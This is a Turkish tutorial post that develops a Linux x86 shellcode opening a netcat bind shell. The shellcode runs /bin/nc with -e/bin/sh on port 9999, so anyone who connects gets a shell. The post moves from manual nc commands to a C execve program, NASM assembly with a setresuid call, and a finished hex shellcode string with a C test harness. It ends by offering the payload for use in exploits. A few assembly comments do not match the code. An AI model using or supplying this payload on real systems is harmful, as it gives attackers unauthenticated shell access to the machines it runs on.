Netcat Shellcode Kod Betiği Geliştirme

Bu gönderimizde, netcat erişimi sağlayan bir shellcode geliştireceğiz. Shellcode isimli kod betiği, (.data segmenti olmayan) Hex formatındaki bütünleşik bir Assembly programcığından ibarettir. Dilerseniz amacımız doğrultusunda adım adım ilerleyelim:

1) Öncelikle shellcode betiğimizin yapmasını istediğimiz şeyi elle gerçekleştirelim:

Linux terminalinizde 9999 portundan bir netcat listener sunucu dinleyicisi açmak için aşağıdaki komutu çalıştırınız:

nc -lvp9999 -e/bin/sh

Ardından başka bir terminalde, belirlediğiniz port üzerinden bu listener ile iletişime geçmeye çalışınız:

nc 127.0.0.1 9999

Artık “ls” gibi shell komutlarını çalıştırıp içeride neler var görebiliyor olmanız lazım:

netcat

2) Şimdi biraz daha derine dalalım ve aynı işlevi gören bir c programı yazalım:


#include <stdio.h>
#include <unistd.h>
 
int main()
{
char *env[1] = {NULL};
 
char *arguments[7]= { "/bin/nc",
"-lnp",
"9999",
"-tte",
"/bin/sh",
NULL
};
execve("/bin/nc", arguments, env);
}

Programı derleyip çalıştırdığımızda, benzer bir sonuç görmeliyiz:

netcat

Programdaki parametrelere dikkat ederseniz, söz konusu parametrelerin nc sistem komutunu çağırmak için belirli ve gerekli register değerlerine karşılık geleceklerini keşfedeceksiniz:


EAX = 11  (this value at EAX register represents system call for execve)
EBX = "/usr/bin/nc" (char *)
ECX = arguments (char **)
EDX = env (char **)

3) Şimdi bu register resmini yansıtacak şekilde bir Assembly programı yazabiliriz artık:


section .mytext progbits alloc exec write align=16
global _start:
_start:
jmp short GotoCall
 
shellcode:
xor eax, eax ; Zero out eax
xor ebx, ebx ; Zero out ebx
xor ecx, ecx ; Zero out ecx
xor edx, edx ; Zero out edx using the sign bit from eax
mov BYTE al, 0xa4 ; setresuid syscall 164 (0xa4)
int 0x80 ; syscall execute
pop esi ; esi contain the string in db
xor eax, eax ; Zero out eax
mov[esi + 7], al ; null terminate /bin/nc
mov[esi + 16], al ; null terminate -lvp90
mov[esi + 26], al ; null terminate -e/bin/sh
mov[esi + 27], esi ; store address of /bin/nc in AAAA
lea ebx, [esi + 8] ; load address of -lvp90 into ebx
mov[esi +31], ebx ; store address of -lvp90 in BBB taken from ebx
lea ebx, [esi + 17] ; load address of -e/bin/sh into ebx
mov[esi + 35], ebx ; store address of -e/bin/sh in CCCC taken from ebx
mov[esi + 39], eax ; Zero out DDDD
mov al, 11 ; 11 is execve syscakk number
mov ebx, esi ; store address of /bin/nc
lea ecx, [esi + 27] ; load address of ptr to argv[] array
lea edx, [esi + 39] ; envp[] NULL
int 0x80 ; syscall execute
 
GotoCall:
call shellcode
db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'

Burada dikkat ederseniz, Assembly programında .data segmenti bulunmamakta. Program bunun yerine girdi string metnini, aşağı ve yukarı Goto etiketlerine ardışık olarak jump ederek gerçekleştiriyor. Bu şekilde stack üzerinde nc komut çağrımız yer alıyor.

Şimdi programı aşağıdaki şekilde link edip derleyelim:


nasm -felf32 -o netcat.o netcat.asm
ld -m elf_i386 -o netcat netcat.o

Programı çalıştırdığımızda, benzer bir sonuç göreceğiz:

netcat

4) İyi gidiyoruz. Artık bu Assembly kodunu Hex formatında bir shellcode betiğine dönüştürebilriz. Bunun için aşağıdaki komutu yazınız:

for i in $(objdump -d netcat.o -M intel |grep “^ ” |cut -f2); do echo -n ‘\x’$i; done;echo

netcat

5) Son olarak, ürettiğimiz shellcode betiğini aşağıdaki c programıyla test edelim:


char shellcode[] = "\xeb\x36\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x5e\x31\xc0\x88\x46\x07\x88\x46\x10\x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08\x89\x5e\x1f\x8d\x5e\x11\x89\x5e\x23\x89\x46\x27\xb0\x0b\x89\xf3\x8d\x4e\x1b\x8d\x56\x27\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x76\x70\x39\x39\x39\x39\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}

Programı aşağıdaki şekilde derleyelim:


gcc shellcode.c -o shellcode -z execstack

Programınızın başarılı bir şekilde aynı işlevi gördüğünü göreceksiniz:

netcat

Gerçekten çalışıyor :) Shellcode betiğinizi dilerseniz artık istismar yazılımınızın bir parçası olarak kullanabilirsiniz.